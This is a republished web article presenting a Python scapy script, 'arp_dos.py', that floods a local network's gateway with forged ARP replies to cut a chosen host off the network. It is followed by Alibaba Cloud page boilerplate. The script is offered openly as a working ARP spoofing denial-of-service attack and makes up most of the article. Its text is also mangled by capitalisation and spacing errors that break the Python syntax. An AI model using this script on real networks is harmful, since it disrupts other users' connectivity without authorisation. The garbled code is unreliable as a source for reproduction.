Example of ARP attack code written in python

Source: Internet
Author: User
This article mainly introduces the example of ARP attack code written in python. For more information, see Note: to use this script, you need to install the scapy package.
It is best to use it on the linux platform, because the scapy package always has various problems when installed on windows.

The code is as follows:


# Coding: UTF-8
# Example: sudo python arp_dos.py 192.168.1.103

From scapy. all import ARP, send
Import OS, re, sys

Def get_gateway_ip ():
T = OS. popen ('route-n ')
For I in t:
If I. startswith ('0. 0.0.0 '):
R = re. split ("\ s +", I)
Return r [1]

Def get_gateway_hw (ip ):
T = OS. popen ('arp-e % s' % ip)
For I in t:
If I. startswith (ip ):
R = re. split ("\ s +", I)
Return r [2]

Def hack (hackip ):
Ip = get_gateway_ip ()
Hw = get_gateway_hw (ip)
Arp = ARP (op = 2, pdst = ip, hwdst = hw, psrc = hackip)
# OS. popen ('ifconfig eth0 % s' % hackip)
While 1:
Send (arp)

Def help ():
Print ("USEAGE: sudo python arp_dos.py 192.168.1.100 ")

Def main ():
If len (sys. argv )! = 2:
Help ()
Else:
Hack (sys. argv [1])
If _ name __= = "_ main __":
Main ()

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.